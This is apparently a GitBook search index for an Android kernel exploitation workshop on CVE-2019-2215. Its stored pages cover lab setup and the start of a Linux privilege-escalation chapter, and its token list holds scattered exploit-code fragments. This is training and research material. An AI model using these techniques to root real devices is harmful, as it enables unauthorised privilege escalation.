id;","gid=0(root)","gid=2000(shell)","git","give","given","global","global_root_gid","global_root_gid,","global_root_uid","global_root_uid,","gnu","go","goal","goldfish","goldfish/","good","googl","google'","goto","gpl","gplv3+:","grab","graph","graph.","great","greater","greg","grep","group","group_info","groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)","groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)","gtime;","guy","handl","handlers:","handling:","happen","happen.","happened,","happened.","happening.","happens.","hard","hardirq_context;","hardirq_disable_event;","hardirq_disable_ip;","hardirq_enable_event;","hardirq_enable_ip;","hardirqs_enabled;","hardwar","hartman","hash","have","haven't","head","head.","header","heap","held","held_lock","held_locks[max_lock_depth];","help","hence,","here","here!","here,","here.","here:","highest","hijack","hinder","hint","hist_id;","hist_id_save[xhlock_ctx_nr];","hist_lock","histori","hlist_head","hold","hook","hope","horn","host","however,","http://man7.org/linux/man","http://www.bricktou.com/","https://android.googlesource.com/kernel/manifest","https://bugs.chromium.org/p/project","https://dayzerosec.com/posts/analyz","https://developer.android.com/studio/instal","https://developer.android.com/studio/projects/instal","https://developer.android.com/studio/run/emul","https://elixir.bootlin.com/linux/v4.14.171/sourc","https://en.wikipedia.org/wiki/light","https://en.wikipedia.org/wiki/vectored_i/o","https://gerrit.googlesource.com/git","https://github.com/amezin/vscod","https://github.com/cloudfuzz/android","https://googleprojectzero.blogspot.com/2019/11/bad","https://groups.google.com/d/msg/syzkal","https://groups.google.com/forum/#!msg/syzkal","https://hernan.de/blog/2019/10/15/tailor","https://lwn.net/articles/656307/","https://medium.com/hungi","https://source.android.com/security/selinux","https://source.android.com/setup/build/build","https://www.blackhat.com/docs/eu","https://www.gnu.org/software/libc/manual/html_node/scatter_002dgather.html","https://www.redhat.com/en/topics/linux/what","https://www.youtube.com/watch?v=tawq4ezgeio","hw.cpu.ncor","i'm","i.","i/o","i/o,","i/o.","id","idea","ignor","il_prev;","image,","image.","immedi","implement","implementation.","implemented.","implications.","import","import_iovec","import_iovec(int","import_iovec(write,","in[]","in_execve:1;","in_iowait:1;","in_ubsan;","inc.","includ","include/asm","include/linux/cred.h.","include/linux/sched.h.","include/linux/slab.h:488","include/linux/slab.h:661","include/linux/spinlock.h:173","include/linux/spinlock.h:367","include/linux/spinlock_api_smp.h:119","include/linux/task_work.h:22","incom","increas","incurred.","index","index:0xffff88804e4872a8","indic","info","info(\"[+]","info(\"\\t[*]","info:","inform","information:","inherit","init","init_cr","init_cred.","init_list_head(&ep","init_list_head(&epi","init_load_pct;","init_poll_funcptr(&epq.pt,","init_task","init_user,","init_waitqueue_func_entry(&pwq","init_waitqueue_head(&ep","initi","initialized.","inlin","inner","ino=13","ino=21","inod","insid","inspect","instal","installed,","installed.","instance.","instead","instruct","instrumented.h:57","int","int,","intel","intellig","intellisens","interest","interesting,","intern","interprocess","interrupt.","introduct","intuitive.","investig","io_context","ioac;","ioctl","ioctl(fd,","ioctlcmd=0x6615","iov","iov++;","iov[seg].iov_len","iov_bas","iov_it","iov_iter_init","iov_iter_init(i,","iov_len","iov_len;","iovcarray[iovec_count].iov_len","iovec","iovec)","iovec),","iovec,","iovec.","iovec.iov_bas","iovec_count);","iovec_count;","iovec_wq_index,","iovecs,","iovecs\\n\");","iovecstack","iovecstack,","iovecstack;","iovecstack[0].iov_bas","iovecstack[0].iov_len","iovecstack[10]","iovecstack[10],","iovecstack[10].io_base.","iovecstack[10].iov_bas","iovecstack[10].iov_len","iovecstack[11]","iovecstack[11].iov_bas","iovecstack[11].iov_len","iovecstack[12]","iovecstack[12].iov_bas","iovecstack[12].iov_len","iovecstack[iovec_count]","iovecstack[iovec_wq_index","iovecstack[iovec_wq_index]","iovecstack[iovec_wq_index].iov_bas","iovecstack[iovec_wq_index].iov_len","iovstack;","iovstack[uio_fastiov];","ipc","irq_events;","is.","is:","is_dead;","is_permission_fault(esr,","isn't","issu","issue.","it'","it.","item","items.","iter;","itself","j`nproc`","jan","jann","jit_keyring;","jobctl;","jobctl_*,","journal","jump","junk","junksocketdata[]","kasan","kasan,","kasan:","kasan_add_zero_shadow","kasan_alloc_pag","kasan_cache_cr","kasan_cache_shrink","kasan_cache_shutdown","kasan_check_read(from,","kasan_check_write(to,","kasan_check_write+0x14/0x16","kasan_depth;","kasan_kmalloc+0x9/0xb","kasan_report+0x26/0x49","kasan_slab_free+0xe/0x10","kasan_symbolize.pi","kasan_symbolize.py.","kcov","kcov_area:","kcov_mod","kcov_mode;","kcov_size;","kdebug(\"prepare_kernel_cred()","keenlab.","keep","kernel","kernel,","kernel.","kernel/cred.c","kernel/cred.c.","kernel/exit.c:468","kernel/exit.c:875","kernel/exit.c:975","kernel/exit.c:978","kernel/exit.c:987","kernel/exit.c:989","kernel/locking/spinlock.c:160","kernel/sched/wait.c:50","kernel/task_work.c:113","kernel_cap_t","kernel_d","kernel_dir=goldfish","kernel_ds)","kerneladdresssanit","key","keyr","keyrings,","kfree","kfree(thread);","kfree+0x193/0x5b3","kgid_t","klogctl:","kmalloc","kmalloc(nr_segs*sizeof(struct","kmem_cache_alloc(cred_jar,","kmem_cache_alloc(epi_cache,","kmem_cache_alloc(pwq_cache,","kmem_cache_alloc_trace+0x1bd/0x26f","know","known","kroah","kuid_t","kzalloc","kzalloc(sizeof(*ep),","kzalloc(sizeof(*proc),","kzalloc(sizeof(*thread),","last","last_sleep_ts;","last_sum_exec_runtime;","last_switch_count;","last_task_numa_placement;","latency_record","latency_record[lt_savecount];","latency_record_count;","later","latest","launch","law.","lead","leak","learn","left","left,","len","len)))","len;","length","less","let'","lib/dump_stack.c:17","lib/dump_stack.c:53","lib/iov_iter.c","lib/iov_iter.c.","lib/iov_iter.c?","library:","licens","light","lightweight","like.","likely(!__range_not_ok(addr,","line","line.","link","linkage.","linked.","linkeventpollwaitqueuetobinderthreadwaitqueue();","linux","linux,","linux.","linux=~/workshop/android","linux_gcc_cross_compile_prebuilts_bin=prebuilts/gcc/linux","list","list.","list_add_tail","list_add_tail(&pwq","list_del","list_del(&wq_entri","list_del(struct","list_first_entry(lsthead,","list_head","list_head.","lists.","live","lived.","llink);","llink;","llist_nod","load","loaded,","local","localhost","locat","lock","lock,","lock.","lock;","lockdep_depth;","lockdep_recursion;","locks:","loff_t","log","log,","log.","log:","loginuid;","long","long,","look","loop","loop,","looper;","looper_need_return;","lower","lsm","lt","m_4gb_aligned_pag","m_4gb_aligned_page;","m_binder_fd:","m_credaddress","m_credaddress);","m_epoll_fd:","m_nsproxyaddress","m_nsproxyaddress);","m_pidaddress","m_pidaddress);","m_task_struct","m_task_struct);","mac","machin","machine.","macro","maddi","maddie'","made","magic;","main","main()","maj_flt;","major","make","make_it_fail;","makefil","manag","mani","manifest","manifest/default.xml","manner","map","mapcount:0","mapping:","martijn","master/clang/host/linux","match","max_lock_depth","max_rw_count","max_state;","max_xhlocks_nr","maximum","mb/","me.pi","mean","mean.","mem_cgroup","member","memcg_kmem_skip_account:1;","memcg_may_oom:1;","memcg_nr_pages_over_high;","memcg_oom_gfp_mask;","memcg_oom_order;","memori","memory.","mempolici","mempolicy:","mems_allowed,","mems_allowed;","mems_allowed_seq;","messag","message.msg_iov","message.msg_iovlen","messages.","micro=17,","migrat","migrate.","min(bytes,","min_flt;","minor=7,","missing`","mitig","mkdir","mm","mm,","mm/kasan/common.c:106","mm/kasan/common.c:463","mm/kasan/common.c:471","mm/kasan/common.c:501","mm/kasan/common.c:515","mm/kasan/common.c:626","mm/kasan/common.c:76","mm/kasan/common.c:85","mm/kasan/generic.c:182","mm/kasan/generic.c:191","mm/kasan/report.c:187","mm/kasan/report.c:316","mm/slub.c:1407","mm/slub.c:1458","mm/slub.c:2819","mm/slub.c:3039","mm/slub.c:3976","mm_flag","mm_segment_t","mm_segment_t.","mm_struct","mm_update_next_owner+0x52f/0x52f","mmap4gbalignedpage();","mode","mode.","modifi","modified.","modified:","modul","moment,","monitor","monoton","month","more","mounts...","move","msg_waital","msg_waitall);","msghdr","mtx;","much","multi","multipl","mutex","mutex_wait","n","n)","n))","n);","n;","name","name,","name.","name:","nameidata","namespaces:","nanoseconds.","napi_id","napi_id;","nation","native_safe_halt","natur","navigation.","nbytesread","nbytesread,","nbytesread:","nbytesreceiv","nbytesreceived,","nbytesreceived:","nbyteswritten","nbyteswritten);","nbyteswritten,","nbyteswritten:","ndk","ndk_root=~/android/sdk/ndk/21.0.6113669","necessari","need","never","new","new);","new;","new_thread","new_thread);","newli","next","next)","next);","night","nikolenko","nivcsw;","nm","no_cgroup_migration:1;","node","node1","node2","node_stamp;","nodemask_t","non_rcu;","normal","normal_prio;","not.","note","note:","noth","notic","novemb","now","now,","now.","nr_cpus_allowed;","nr_dirtied;","nr_dirtied_pause),","nr_dirtied_pause;","nr_seg","nr_segs*sizeof(*uvector)))","nr_segs*sizeof(struct","nr_segs,","nsecs:","nsproxi","nsproxy));","nsproxy:","null","null)","null);","null,","null:","null;","numa","numa_entry;","numa_fault","numa_faults_loc","numa_faults_locality[3];","numa_group","numa_migrate_retry;","numa_pages_migrated;","numa_preferred_nid;","numa_scan_period;","numa_scan_period_max;","numa_scan_seq;","numa_work;","number","number,","number.","nvcsw;","nwait;","o=${out_dir}","o_rdonly);","object","obvious","occur","occur.","occurred.","offset","offset,","offset_task_struct_addr_limit),","offsetof(_type,","offsetof(struct","old","olddefconfig)","older","on","on.","on_cpu;","on_rq;","onc","op","op,","open","open(\"/dev/binder\",","opening:","oper","operation,","operation.","operation?","operations.","optim","order.","orig_addr_limit","orig_rax:","origin","os","osx","otherwis","out","out.","out/kasan/dist/vmlinux","output","over","overhead","overlap","overrun:","overwrit","owner'","p","p);","p,","p0","p;","packag","page","page:","page:ffffea0001392100","page_frag","page_s","page_size)","page_size);","page_size;","pagefault_disabled;","pages/man2/readv.2.html","paramet","parameter,","parameter.","parent","parent_exec_id;","pars","part","parts,","pass","patch","patch.","patch_state;","path","path,","path.","path=\"/data/misc\"","path=\"/data/vendor\"","paus","pause:","pc","pdeath_signal;","pending;","per","perf_event_context","perf_event_list;","perf_event_mutex;","period","period:","permiss","permissive=0","permit","personality;","pi","pi_lock","pi_lock;","pi_state_list;","pi_waiters;","pictur","picture.","pid","pid));","pid/pid","pid:","pid;","pid_link","pid_t","pidof","pids[pidtype_max];","piix,","pipe","pipe,","pipe.","pipe\\n\");","pipe_fd[0]","pipe_fd[1]","pipe_fd[2]","pipe_inode_info","pixel","place","placement","plan","platform.","play","pleas","plist_nod","plugging:","poc","poc,","poc.","point","point,","pointer","pointer,","pointer.","policy;","poll","poll()","poll,","poll_tabl","poll_table_struct","poll_wait","poll_wait(filp,","poll_wait(struct","poll_wait;","pollerr","pollerr;","pollfre","pollfree);","pollfree.","pollhup","pollhup;","popul","port","portion","pos,","post,","post.","post_defconfig_cmds=\"check_defconfig","power","prebuilt.qemu","precis","preempt","preempt_disable_ip;","preempt_notifier:","preempt_notifiers;","pref_node_fork;","prepar","prepare_kernel_cr","present","press","pressur","prev,","prev;","prev_cputim","prev_cputime;","prevent","previou","primit","primitive.","primitives.","print","print_address_description+0x81/0x25d","prio;","prioriti","privat","private_data","privileg","privileges.","proc","proc;","proce","process","process,","process.","process:","process_todo;","processes.","processor","produc","program","project","project.org","protect","protected:","protector","prototyp","provid","psi_flags;","pt","pt)","pt_reg","pte","ptrace","ptrace()","ptrace;","ptrace_attach","ptrace_entry;","ptrace_message;","ptraced;","publish","push","pushable_dl_tasks;","pushable_tasks;","pushed,","pushing:","put","pwake","pwq","pwqlist;","py","python","q","qemu","quadword","questions,","questions:","queue","queue.","queued_spin_lock","quiet","r08:","r09:","r10:","r11:","r12:","r13:","r14:","r15:","r377782b/bin","race","ram","random","randomiz","randomized_struct_fields_end","randomized_struct_fields_start","ravg","ravg;","raw:","raw_copy_from_user(to,","raw_copy_to_user(to,","raw_spinlock_t","rax:","rb","rb_node","rb_node;","rb_root_cach","rb_root_cached;","rbn;","rbp:","rbr","rbr;","rbx:","rca","rcu","rcu;","rcu_assign_pointer(task","rcu_head","rcu_nod","rcu_node_entry;","rcu_read_lock_nesting;","rcu_read_unlock_special;","rcu_speci","rcu_tasks_holdout;","rcu_tasks_holdout_list;","rcu_tasks_idle_cpu;","rcu_tasks_idx;","rcu_tasks_nvcsw;","rcx:","rdi:","rdllink;","rdllist;","rdx:","reachabl","read","read(),","read(int","read(pipe_fd[0],","read,","read/writ","read/write,","readelf","readi","readv","readv,","ready,","real","real_blocked;","real_start_time;","realli","realloc","reallocation,","reallocation.","reason","recap","receiv","recipi","reclaim","reclaim_st","recommend","record","recursion:","recvmsg","recvmsg(sock_fd[0],","recvmsg,","red","rediscov","rediscoveri","redistribut","redraw","reduc","refer","referenc","reference:","reg","region","regions:","regs,","reintroduc","reintroduct","rel","releas","releaselevel='final',","relev","remain","rememb","remember,","remot","remote/loc","remov","remove_wait_qeu","remove_wait_queu","remove_wait_queue(struct","remove_wait_queue(whead,","remove_wait_queue(wq_head=0xffff88800c18f2a0,","remove_wait_queue+0x27/0x122","remove_wait_queue_wait.c:52(exit)","render","replac","reply_error;","repo","repo/+/refs/heads/master/readme.md","repo:q","report","report.txt","reports:","repositori","repository.","repres","reproducer.","request","request.","request_key","requir","research.","resourc","respectively.","rest","restart_block","restart_block;","restor","restore_sigmask:1;","restored.","restriction:","result","resum","resumes,","ret","ret)","ret;","ret_stack:","return","return;","return_error;","revent","revents,","revers","revert","revis","revisit","right","rights.","rip:","rmid;","robust_list_head","root","root,","root.","root/","round","rq","rsi:","rsp:","rss","rss_stat;","rt;","rt_mutex","rt_mutex_wait","rt_priority;","ruin","rules.","run","runnable,","runtime.","rw_copy_check_uvector","rw_copy_check_uvector(int","rw_copy_check_uvector(type,","rwf_t","s","safe","same","same.","sandbox","sanit","sas_ss_flags;","sas_ss_size;","sas_ss_sp;","sat","save","save_stack","save_stack_trace+0x16/0x18","saved_sigmask;","scan","scan.","scatter/gath","sched_class","sched_contributes_to_load:1;","sched_dl_ent","sched_ent","sched_info","sched_info;","sched_migrated:1;","sched_psi_wake_requeue:1;","sched_remote_wakeup:1;","sched_reset_on_fork:1;","sched_rt_ent","schedul","schedule:","scontext=u:r:init:s0","scontext=u:r:toolbox:s0","scope","script","script.","scripting,","se;","seccomp","seccomp.","seccomp;","second","section","section,","section.","secur","securebits;","securebits_default","securebits_default,","see","seen","seg","seg;","select()","self_exec_id;","selinux","selinux.","selinux_enforc","selinux_enforcing:","sendmsg,","sent","septemb","seqcount_t","seqenc","sequential_io;","sequential_io_avg;","serial","serial=0)","sessionid;","set","set_restore_sigmask()","set_track","setup","setup_new_exec()","setupbinder();","setupeventpoll();","sever","sgid;","sh","shallow","share","shell","shell.","shen","short","shorthand","show","shown","sibling,","sibling;","sig,","sigchld,","sighand_struct","siginfo_t","sigint,","siglock","sign","signal","signal_struct","signific","sigpend","sigreturn().","sigset_t","simpl","simplifi","singl","size","size)","size,","size.","size_t","sizeof(databuffer));","sizeof(finalsocketdata))","sizeof(finalsocketdata));","sizeof(junksocketdata))","sizeof(junksocketdata));","sizeof(mm_segment_t)","sizeof(struct","skip","skip,","skipped.","slab_fre","slab_free_freelist_hook","slab_free_hook","slack","sleep","sleep(2);","slept","slub","small","smp","smp_load_acquire(&pwq","snapshot","so,","sock_fd)","sock_fd[2]","sock_stream","sock_stream,","socket","socket'","socket\\n\");","socketpair","socketpair\\n\");","softirq_context;","softirq_disable_event;","softirq_disable_ip;","softirq_enable_event;","softirq_enable_ip;","softirqs_enabled;","softwar","software:","somehow","soon","soup","sourc","space","space,","space.","spawn","specif","specifi","specific:","spent","spin","spin_lock(&t","spin_lock_irqsav","spin_lock_irqsave(&wq_head","spin_unlock_irq","spin_unlock_irqrestore(&wq_head","spinlock_t","splice():","split","split_rss_count","ssize_t","stack","stack,","stack_canary;","stack_refcount;","stage","stall","stamp:","stand","standard","start","start,","start_time;","state","state:","state;","statement","static","static_prio;","stats;","statu","stay","stime","stime;","stimescaled;","stone","stop_ship_traceprintk=1","stopped:","store","stori","strategi","stream","strictli","strip","strip=/home/ashfaq/workshop/android","strongli","struct","struct.pack(\"","structur","structure'","structure.","structures:","stuck","studio","subject","subscrib","subscribers;","subscript","subsequ","subsystem","subsystem.","success","successful,","successfulli","successfully\\n\");","such","suggest","suid","suid;","sum","super","supplementari","support","support,","support.","supported.","sure","swap","switch","sy","symbol","sync","synchron","synchronize_rcu().","synchronize_rcu();","synchronized,","sys.version_info","sys.version_info(major=2,","sys_epoll_create1","sys_epoll_create1.","sys_epoll_ctl+0x1558/0x24f0","sys_epoll_wait()","sys_exit_group+0x14/0x14","sys_exit_group.","sys_ioctl+0x75/0xa4","sysc_epoll_ctl","sysc_exit_group+0x17/0x17","sysc_ioctl","syscall_define1(epoll_create,","syscall_define1(epoll_create1,","syscall_define3(writev,","syscall_define4(epoll_ctl,","system","system,","system.","system.map","sysv_sem","sysv_shm","sysvsem;","sysvshm;","syzbot","t","t/7682","tabl","table)","table,","tag","tainted:","take","talk","target","targets.","task","task'","task:","task_cputim","task_delay_info","task_frag;","task_group","task_io_account","task_lock()","task_rss_stat","task_state_change;","task_struct","task_struct*","task_struct,","task_struct.","task_struct:","task_struct_offset_in_leaked_data));","task_work_run+0x127/0x154","tasks;","tclass=dir","tcontext=u:object_r:unlabeled:s0","tcp::1234.","tell","temporari","termin","test","text","tf","tf.file,","tf;","tfile,","tgid;","that'","that,","them.","then,","thing","thing,","third","this,","those","those.","thread","thread);","thread;","thread_group;","thread_info","thread_info;","thread_node;","thread_struct","threading.","threat","three","throttl","tick_dep_mask;","tif_restore_sigmask","time","time,","time.","timeout","timer_slack_ns;","timestamp","tlb_ubc;","tlbflush_unmap_batch","tmp_ref;","to,","to.","to:","todo;","togeth","tool","tools.","tools/path/linux","top","total","total_numa_faults;","trace","trace.","trace:","trace;","trace_overrun;","trace_recursion;","tracer'","tracers:","tracing:","tracing_graph_pause;","track","tracking:","transfer","tree","tree.","tri","trigger","trigger:","tsk","tty,","tue","turn","two","type","type,","type=1400","u","u32","u64","u8","uaf/","ubuntu","uid","uid:","uid;","uid=0(root)","uid=2000(shell)","uint64_t","un","unabl","unam","under","underli","understand","understandable.","understood","unidirect","union","unlikely(!access_ok(vrfy_dir(type),","unlink","unlinkeventpollwaitqueuefrombinderthreadwaitqueue();","unlocked_ioctl","unrunnable,","unserialized,","unsign","unwant","up","updat","update:","update_debug_config\"","update_debug_config()","update_kasan_config\"","update_kasan_config()","updates:","upgrad","uprobe_task","upstream.","us","usage:","usage;","used:","useless","user","user_addr_max","user_addr_max()","user_addr_max()));","user_n","user_namespac","user_struct","user_watches;","userland","userland:","userspac","usual","utf","utim","utime;","utimescaled;","uvector,","valid","validate_creds(new);","validate_creds(old);","validation.","valu","value):","value,","values.","values;","variabl","variable.","vec,","vector","veri","verifi","version","version:","versions:","vf","vfs_writev","vfs_writev(f.file,","vfs_writev(struct","view","virtual","visit","visited;","visited_list_link;","visual","vitali","vlen)","vlen,","vm","vm_flag","vm_read","vm_struct","vm_write;","vma","vmacach","vmacache;","vmlinux","void","volatil","vtime","vtime;","vulner","vulnerability,","vulnerability.","w","w/out","wait","wait(nullptr);","wait)","wait);","wait.head)","wait.head.next","wait.head.prev","wait.lock","wait4()","wait;","wait_address)","wait_address,","wait_queue_entri","wait_queue_entry_t","wait_queue_head","wait_queue_head_t","waiter","waiting_thread_node;","waitlist,","waitqueu","waitqueue_active(&thread","waitqueue_active()","wake_cpu;","wake_entry;","wake_q;","wake_q_nod","wake_up_poll(&thread","wakee_flip_decay_ts;","wakee_flips;","wakeup","wakeup_sourc","walk","want","wanted;","warn_on_in_irq();","warning:","warranty,","way","we'r","weight","weight_process","well.","what'","whead","whead;","whether","whole","whose","why.","wild","will.","window","window,","window.","windows,","windows.","wipe","wire","without","won't","work","work.","workshop","workshop,","workshop.","workshop/","workshop/android","workshop/build","workshop/exploit/trigger.cpp.","workshop/gdb.","workshop/patch","wp.pdf","wq","wq;","wq_entry);","wq_entry=0xffff88805c05cac8)(enter)","write","write(),","write(int","write(sock_fd[1],","write,","write.","write32(address,","write_once(prev","writev","writev(pipe_fd[1],","writev,","written","wrong","wrote","wrote,","x64","x86","x86,","x86/clang","x86/x86/x86_64","x86_64","xhlock_idx;","xhlock_idx_hist[xhlock_ctx_nr];","xml","younger","youngest","zero","zero.","zero/issues/detail?id=1942","{","{.event","{0};","{nullptr};","|","|=","||","}","})","}*/","};","~/.android/avd/cv","~/android/sdk/emul","~/android/sdk/platform","~/workshop","~/workshop/android","~/workshop/gdb.","~/workshop/gdb/dynam","~/workshop/gdb/root","~/workshop/patch/cv"],"pipeline":["stopWordFilter","stemmer"]},"store":{"./":{"url":"./","title":"Introduction","keywords":"","body":"Android Kernel Exploitation\nObjective\nThe objective of this workshop is to get started with kernel vulnerability analysis and exploitation in Android platform.\nWorkshop Stream\n\n \n\n\n\nAuthor\nAshfaq Ansari (@HackSysTeam) of CloudFuzz.\n\n \n\n"},"chapters/environment-setup.html":{"url":"chapters/environment-setup.html","title":"Environment Setup","keywords":"","body":"Environment Setup\nThe whole analysis and exploitation will been done in a virtual environment for the ease of access and debugging.\nHardware Requirements \n\n40 GB free hard drive space\n8 GB+ of RAM\nMulti-core processor\n\nSoftware Requirements \nFor this workshop, we will need to install the below given items in Ubuntu 18.04 LTS host machine. However, Windows, Mac OSX and other OS are also supported.\n\nGDB\nWorkshop Repository\nAndroid Studio\nAndroid NDK\nAndroid Virtual Device\nAndroid Kernel Source Code\n\nGDB \nOpen a terminal window and type the below given command to verify if GDB is installed. We will need GDB compiled with python 2.7 support.\nashfaq@hacksys:~$ gdb --version\nGNU gdb (GDB) 8.2\nCopyright (C) 2018 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later \nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.\n\nashfaq@hacksys:~$ gdb -quiet \nGEF for linux ready, type `gef' to start, `gef config' to configure\n77 commands loaded for GDB 8.2 using Python engine 2.7\n[*] 3 commands could not be loaded, run `gef missing` to know why.\ngef> py\n>import sys\n>print sys.version_info\n>end\nsys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0)\ngef> q\n\nashfaq@hacksys:~$ readelf -d $(which gdb) | grep python\n 0x0000000000000001 (NEEDED) Shared library: [libpython2.7.so.1.0]\n\nashfaq@hacksys:~$ python --version\nPython 2.7.17\n\nIf GDB is not installed in your system, please make sure to install it with python 2.7 support.\nWorkshop Repository \nOpen a terminal window and type the below given command to clone the workshop repository.\nashfaq@hacksys:~$ git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop\n\nAndroid Studio \nInstallation instruction for Android Studio can be found here https://developer.android.com/studio/install\nOnce Android Studio is installed, make sure to add ~/Android/Sdk/platform-tools and ~/Android/Sdk/emulator to your PATH environment variable. This will allow as to access adb and emulator command without specifying the complete path.\nAndroid NDK \nInstallation instruction for Android NDK can be found here https://developer.android.com/studio/projects/install-ndk\n\n \n\n\n\n \n\n\n\n \n\n\n\nI'm currently using Android NDK version: 21.0.6113669. However, the latest version of the Android NDK should be fine.\n\nAndroid Virtual Device \nFor this workshop, we are going to use Android 10.0 (Q) Google Play Intel x86 Atom_64 System Image.\n\n \n\n\nOnce you have downloaded the system image, we will have to create a Virtual Device.\n\n \n\n\n\n \n\n\n\n \n\n\n\n \n\n\n\n \n\n\n\n \n\n\nYou can also launch the virtual device that we created from the command line.\nashfaq@hacksys:~/workshop$ emulator -avd CVE-2019-2215\n\nAndroid Kernel Source Code \nAndroid is powered by Linux kernel. For this workshop, we are going to use q-goldfish-android-goldfish-4.14-dev branch of the Android kernel source repository.\n\nNote: For more information on building custom kernels for Android visit https://source.android.com/setup/build/building-kernels\n\nGoogle suggests to use repo for synchronizing the kernel source tree. Read more about repo here: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md\nOnce repo has been installed, you can now start synchronizing the kernel source tree. This will also download the necessary build tools.\nWe do not want to download the repository with all the commit history and different branches. So, we will do a shallow clone.\nCurrently, I'm on 182a76ba7053af521e4c0d5fd62134f1e323191d commit id and repo command does not allow us to specify a commit id to clone from command line. So, I have created a custom manifest file that we will replace after the repo has been initialized.\n\n\n \n \n \n \n \n \n \n \n\n\nThe only change I did in this custom manifest was to specify the commit hash in the revision attribute instead of branch name.\n6c6\n\n---\n> \n\n\nNote: It will take around 12 GB of disk space, so make sure you have enough space on the machine before running the below commands.\n\nashfaq@hacksys:~$ mkdir ~/workshop\nashfaq@hacksys:~$ cd workshop/\nashfaq@hacksys:~/workshop$ mkdir android-4.14-dev\nashfaq@hacksys:~/workshop$ cd android-4.14-dev/\nashfaq@hacksys:~/workshop/android-4.14-dev$ repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev\nashfaq@hacksys:~/workshop/android-4.14-dev$ cp ../custom-manifest/default.xml .repo/manifests/\nashfaq@hacksys:~/workshop/android-4.14-dev$ repo sync -c --no-tags --no-clone-bundle -j`nproc`\n\nOnce the source tree has been synchronized, we are good to proceed with the workshop.\n"},"chapters/linux-privilege-escalation.html":{"url":"chapters/linux-privilege-escalation.html","title":"Linux Privilege Escalation","keywords":"","body":"Linux Privilege Escalation\nThe end goal of this workshop is to use a Android kernel vulnerability to achieve privilege escalation i.e root. In Linux root is the super user with uid=0(root) gid=0(root) and has all the access rights.\nLight Weight Process \nLinux uses Light Weight Process to implement better support multi-threading. Each light weight process is assigned a process descriptor called task_struct and is defined in include/linux/sched.h.\nstruct task_struct {\n#ifdef CONFIG_THREAD_INFO_IN_TASK\n /*\n * For reasons of header soup (see current_thread_info()), this\n * must be the first element of task_struct.\n */\n struct thread_info thread_info;\n#endif\n /* -1 unrunnable, 0 runnable, >0 stopped: */\n volatile long state;\n\n /*\n * This begins the randomizable portion of task_struct. Only\n * scheduling-critical items should be added above here.\n */\n randomized_struct_fields_start\n\n void *stack;\n atomic_t usage;\n /* Per task flags (PF_*), defined further below: */\n unsigned int flags;\n unsigned int ptrace;\n\n#ifdef CONFIG_SMP\n struct llist_node wake_entry;\n int on_cpu;\n#ifdef CONFIG_THREAD_INFO_IN_TASK\n /* Current CPU: */\n unsigned int cpu;\n#endif\n unsigned int wakee_flips;\n unsigned long wakee_flip_decay_ts;\n struct task_struct *last_wakee;\n\n int wake_cpu;\n#endif\n int on_rq;\n\n int prio;\n int static_prio;\n int normal_prio;\n unsigned int rt_priority;\n\n const struct sched_class *sched_class;\n struct sched_entity se;\n struct sched_rt_entity rt;\n#ifdef CONFIG_SCHED_WALT\n struct ravg ravg;\n /*\n * 'init_load_pct' represents the initial task load assigned to children\n * of this task\n */\n u32 init_load_pct;\n u64 last_sleep_ts;\n#endif\n\n#ifdef CONFIG_CGROUP_SCHED\n struct task_group *sched_task_group;\n#endif\n struct sched_dl_entity dl;\n\n#ifdef CONFIG_PREEMPT_NOTIFIERS\n /* List of struct preempt_notifier: */\n struct hlist_head preempt_notifiers;\n#endif\n\n#ifdef CONFIG_BLK_DEV_IO_TRACE\n unsigned int btrace_seq;\n#endif\n\n unsigned int policy;\n int nr_cpus_allowed;\n cpumask_t cpus_allowed;\n\n#ifdef CONFIG_PREEMPT_RCU\n int rcu_read_lock_nesting;\n union rcu_special rcu_read_unlock_special;\n struct list_head rcu_node_entry;\n struct rcu_node *rcu_blocked_node;\n#endif /* #ifdef CONFIG_PREEMPT_RCU */\n\n#ifdef CONFIG_TASKS_RCU\n unsigned long rcu_tasks_nvcsw;\n u8 rcu_tasks_holdout;\n u8 rcu_tasks_idx;\n int rcu_tasks_idle_cpu;\n struct list_head rcu_tasks_holdout_list;\n#endif /* #ifdef CONFIG_TASKS_RCU */\n\n struct sched_info sched_info;\n\n struct list_head tasks;\n#ifdef CONFIG_SMP\n struct plist_node pushable_tasks;\n struct rb_node pushable_dl_tasks;\n#endif\n\n struct mm_struct *mm;\n struct mm_struct *active_mm;\n\n /* Per-thread vma caching: */\n struct vmacache vmacache;\n\n#ifdef SPLIT_RSS_COUNTING\n struct task_rss_stat rss_stat;\n#endif\n int exit_state;\n int exit_code;\n int exit_signal;\n /* The signal sent when the parent dies: */\n int pdeath_signal;\n /* JOBCTL_*, siglock protected: */\n unsigned long jobctl;\n\n /* Used for emulating ABI behavior of previous Linux versions: */\n unsigned int personality;\n\n /* Scheduler bits, serialized by scheduler locks: */\n unsigned sched_reset_on_fork:1;\n unsigned sched_contributes_to_load:1;\n unsigned sched_migrated:1;\n unsigned sched_remote_wakeup:1;\n#ifdef CONFIG_PSI\n unsigned sched_psi_wake_requeue:1;\n#endif\n\n /* Force alignment to the next boundary: */\n unsigned :0;\n\n /* Unserialized, strictly 'current' */\n\n /* Bit to tell LSMs we're in execve(): */\n unsigned in_execve:1;\n unsigned in_iowait:1;\n#ifndef TIF_RESTORE_SIGMASK\n unsigned restore_sigmask:1;\n#endif\n#ifdef CONFIG_MEMCG\n unsigned memcg_may_oom:1;\n#ifndef CONFIG_SLOB\n unsigned memcg_kmem_skip_account:1;\n#endif\n#endif\n#ifdef CONFIG_COMPAT_BRK\n unsigned brk_randomized:1;\n#endif\n#ifdef CONFIG_CGROUPS\n /* disallow userland-initiated cgroup migration */\n unsigned no_cgroup_migration:1;\n#endif\n\n unsigned long atomic_flags; /* Flags requiring atomic access. */\n\n struct restart_block restart_block;\n\n pid_t pid;\n pid_t tgid;\n\n#ifdef CONFIG_CC_STACKPROTECTOR\n /* Canary value for the -fstack-protector GCC feature: */\n 